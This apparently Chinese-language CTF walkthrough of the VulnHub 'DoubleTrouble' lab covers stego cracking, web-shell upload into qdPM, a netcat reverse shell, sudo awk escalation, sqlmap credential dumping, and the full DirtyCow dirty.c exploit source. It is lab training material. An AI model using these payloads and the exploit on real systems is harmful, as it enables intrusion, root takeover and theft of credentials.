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DOUBLETROUBLE提权

靶机下载:doubletrouble: 1

前置#

靶机网络 NAT 模式
如果在扫描 IP 段时无法探测靶机 IP,参考这篇文章:
vulnhub 靶机检测不到 IP 地址解决办法

1. 信息收集
使用 netdiscover 扫描 IP 段

netdiscover  -r 192.168.23.0/24

发现 IP:192.168.23.136

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nmap 扫描端口

nmap -p- 192.168.23.136

开放端口 22,80

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访问主页

3

发现使用 qdPM 版本 9.1,可以从exploit-db上查到存在 RCE、sql 注入等漏洞

dirb 扫描目录

dirb http://192.168.23.136/

发现 secret 目录下有图片 doubletrouble.jpg
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使用 stegseek 爆破
字典使用 kali 自带的 rockyou.txt,位于 /usr/share/wordlists/rockyou.txt.gz,解压后使用

kali 尝试多次安装 stegseek 不成功,换成 docker 执行,具体可以参考Stegseek,需先在 windows 上安装 docker desktop

docker run --rm -it -v "$(pwd):/steg" rickdejager/stegseek [stegofile.jpg] [wordlist.txt]

这条命令在 windows cmd 中无法直接执行,换成完整路径

docker run --rm -v "C:\Users\Mikiya\Desktop:/steg" rickdejager/stegseek /steg/doubletrouble.jpg /steg/rockyou.txt

这里 C:\Users\Mikiya\Desktop 是我两个文件存放的位置,也就是图片和字典,使用记事本打开输出文件得到账户密码

otisrush@localhost.com
otis666

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2. 渗透
登录系统,在我的详情发现利用点,上传一句话木马文件,访问上传路径 /uploads/users/

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使用蚁剑连接

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提权

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发现 awk 命令可以使用 sudo 运行
sudo awk 'BEGIN {system ("/bin/bash")}' 提权

蚁剑无法直接提权,可以使用 nc 反弹 shell 提权
kali 监听端口:nc -nvlp 9999
蚁剑运行:nc -e /bin/bash 192.168.23.134 9999
提权命令
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调用本地终端操作更方便

python3 -c 'import pty;pty.spawn("/bin/bash")'

在根目录下发现还有个虚拟机

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使用 nc 传递文件
kali 终端:nc -lvvp 8888 > doubletrouble.ova
靶机终端:nc 192.168.23.134 8888 < doubletrouble.ova
VM 导入靶机,探测主机 IP,开放端口 22,80
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访问 80 端口

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直接用 sqlmap 跑

sqlmap -u http://192.168.23.137/index.php -forms --dbs --batch

发现两个数据库

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依次获取表名和数据

sqlmap -u "http://192.168.23.137/index.php" \
--data="uname=AqUH&psw=Kgjz&btnLogin=Login" \
--dbms=mysql \
--tables -D doubletrouble \
--batch
sqlmap -u "http://192.168.23.137/index.php" \
--data="uname=AqUH&psw=Kgjz&btnLogin=Login" \
--dbms=mysql \
--batch \
--dump -D doubletrouble -T users

得到如下信息

GfsZxc1,montreux
ZubZub99,clapton

使用第二个账户 ssh 登录获取第一个 flag

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由于是普通权限继续提权,查内核版本

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存在脏牛提权漏洞
脏牛 (DirtyCow) Linux 本地提权漏洞复现 (CVE-2016-5195)

用 dirty.c 脚本提权dirty.c

//
// This exploit uses the pokemon exploit of the dirtycow vulnerability
// as a base and automatically generates a new passwd line.
// The user will be prompted for the new password when the binary is run.
// The original /etc/passwd file is then backed up to /tmp/passwd.bak
// and overwrites the root account with the generated line.
// After running the exploit you should be able to login with the newly
// created user.
//
// To use this exploit modify the user values according to your needs.
//   The default is "firefart".
//
// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):
//   https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c
//
// Compile with:
//   gcc -pthread dirty.c -o dirty -lcrypt
//
// Then run the newly create binary by either doing:
//   "./dirty" or "./dirty my-new-password"
//
// Afterwards, you can either "su firefart" or "ssh firefart@..."
//
// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!
//   mv /tmp/passwd.bak /etc/passwd
//
// Exploit adopted by Christian "FireFart" Mehlmauer
// https://firefart.at
//

#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}

kali 创建一个 http 服务器

python -m http.server 80

靶机使用 wget 命令

wget http://192.168.23.130/dirty.c

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按照作者提示使用 gcc 提权

gcc -pthread dirty.c -o dirty -lcrypt
./dirty

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成功获取 root,在 root 目录中找到第二个 flag

image

总结#

使用工具:nmap 扫描 IP 端口、dirb 扫描目录、stegseek 爆破图片、nc 传文件、蚁剑、sqlmap 爆破数据库、脚本提权

sudo awk 'BEGIN {system ("/bin/bash")}' 提权

本篇文章解题过程来自DOUBLETROUBLE: 1vulnhub 靶机 --DoubleTrouble

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